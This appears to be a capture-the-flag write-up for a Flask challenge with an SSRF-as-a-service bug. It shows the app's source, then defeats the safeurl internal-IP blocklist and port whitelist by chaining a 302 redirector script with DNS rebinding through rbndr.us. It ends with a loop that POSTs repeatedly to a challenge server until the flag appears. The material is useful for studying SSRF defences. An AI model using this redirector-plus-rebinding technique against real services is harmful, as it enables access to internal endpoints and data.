from flask import Flask, request, render_template
import requests
from safeurl import safeurl
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
url = request.form['url']
try:
su = safeurl.SafeURL()
opt = safeurl.Options()
opt.enableFollowLocation().setFollowLocationLimit(0)
su.setOptions(opt)
su.execute(url)
except Exception as e:
print(e)
return render_template('index.html', error=f"Malicious URL detected: {e}")
r = requests.get(url)
return render_template('index.html', result=r.text)
return render_template('index.html')
@app.route('/secret')
def secret():
if request.remote_addr == '127.0.0.1':
flag = ""
with open('./flag.txt') as f:
flag = f.readline()
return render_template('secret.html', SECRET=flag)
else:
return render_template('forbidden.html'), 403
if __name__ == '__main__':
app.run(host="0.0.0.0", port=1337, threaded=True)
I very simple flask app is all this challenge is. We can immidieitly spot a kind of SSRF as a service vulnerability. And the flag is retrieved by /secret
if the request is coming from localhost. Ok then what prevents us from using the ssrf to request /secret, get the flag and get done with it?
First as always let's make a POC of having ssrf. Lets use the app to request any website at first to verify the proxying
functionality
Ok so with google.com
as the input we observe, that the DOM of google.com
is returned back to us
Let's now try with our own attacker server 0sq8eorm.requestrepo.com
We do receive requests back, but weirdly enough we receive 2 DNS and 2 HTPP requests... That actually makes sense if we review the code!
try:
su = safeurl.SafeURL()
opt = safeurl.Options()
opt.enableFollowLocation().setFollowLocationLimit(0)
su.setOptions(opt)
su.execute(url)
except Exception as e:
print(e)
return render_template('index.html', error=f"Malicious URL detected: {e}")
r = requests.get(url)
There is one request done from the safeurl package and there is one request done from the requests library.
Ok why don't we just request localhost/secret
If we do that we get Malicious input detected
as result from the application. That is the output in case of an error from safeurl. Thus i decided to build it locally and actually print the error and find out why exactly we error. Doing that we receive:
Malicious URL detected: Provided hostname 'hostname' resolves to '127.0.0.1', which matches a blacklisted value: ['0.0.0.0/8', '10.0.0.0/8', '100.64.0.0/10', '127.0.0.0/8', '169.254.0.0/16', '172.16.0.0/12', '192.0.0.0/29
OK so apparently the url must not be contained in this blacklist. Well my first attempt was actually trying to pull of an ssrf bypass. hacktricks ssrf bypass list I tried many from the above list none of them, worked.
Going to my next thing. Hacktrick ssrf page lists using an HTTP server as a tunnel, which basically allows us to bypass the blacklist as the url may be attacker.com
, but attacker.com
can be configured to redirect to http://localhost/secret
#!/usr/bin/env python3
# python3 ./redirector.py 8000 http://127.0.0.1/
import sys
from http.server import BaseHTTPRequestHandler, HTTPServer
if len(sys.argv) - 1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()
class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header("Location", sys.argv[2])
self.end_headers()
HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
The above simple script can be used like so
python3 sol.py 80 http://127.0.0.1:1337/secret
Lets try requesting our attacker controlled server which is running this script then. We receive the same output, though.... But why???
Malicious URL detected: Provided hostname 'hostname' resolves to '127.0.0.1', which matches a blacklisted value: ['0.0.0.0/8', '10.0.0.0/8', '100.64.0.0/10', '127.0.0.0/8', '169.254.0.0/16', '172.16.0.0/12', '192.0.0.0/29
Well it turns out it is because of
opt.enableFollowLocation().setFollowLocationLimit(0)
This tells the application to essentially follow all of the redirects and then evaluate, which unfortunately, means that it evaluates 127.0.0.1
, hence the error is thrown.
Ok we have one more trick up our sleeve which turns out to be the closest to the solution. All hail DNS Rebinding
. Well it should have been obvious as 2 requests are made, but lets see. DNS Rebinding
is a TOCTOU
attack, means Time Of Check, Time Of Use
. This makes sense, because taking the example of our application a check
request is firstly done and then the actual request. The vulnerability lies in the Ability of a dns to have a realy short TTL
Time to live. Because this allows an automated script to hot-swap the IP the DNS will resolve to, very quickly, in between the check and actual requests.
A very good website for such attacks is this
It essentially generates a url with the ip-base16.ipbase16.rbndr.us
for us
So if we could make a request to valid-ip-base16.127.0.0.1-base16.rbndr.us, then in theory eventually after many attempts the check will be passed because of the valid-ip not being localhost, and then on the actual request, we hope for the DNS to swap in time to now resolve to 127.0.0.1
and us to get the flag.
Once we try that we realise that the application is also running on port 1337
, as such we need to make a request to rbndr.us:1337/secret to receive our flag, but that is our next obstacle.
Malicious URL detected: Provided port 'port' doesn't match whitelisted values: 80, 443, 8080
I was stuck here for a while, but I already knew enough to solve it. I had the idea after a while and it worked first-try... I would suggest, pausing here and trying to figure it out yourself.
Well the solution to this problem is to combine the two previously mentioned bypasses.
So make a server A that will respond with a redirect to the port 1337
as previously, to bypass the port check.
python3 sol.py 80 http://127.0.0.1:1337/secret
Then also make a rbndr.us
url that will firstly resolve to another sever that will just respond, it must respond, to increase your chances, of having the payload work, as if it can't be resolved the SafeUrl request will hang, and you will lose your DNS switch timing. In addition as this kind of attacks need many attempts, for the timing to be correct another script was created!
import requests
# url = "http://127.0.0.1:1337"
url = "http://188.166.175.58:30557"
burp0_data = {"url": "http://bca6af3a.b95e2d4d.rbndr.us"}
while True:
r = requests.post(url, data=burp0_data)
print(r.text)
after running the script for some time, while greping for HTB
, the flag can be seen in the logs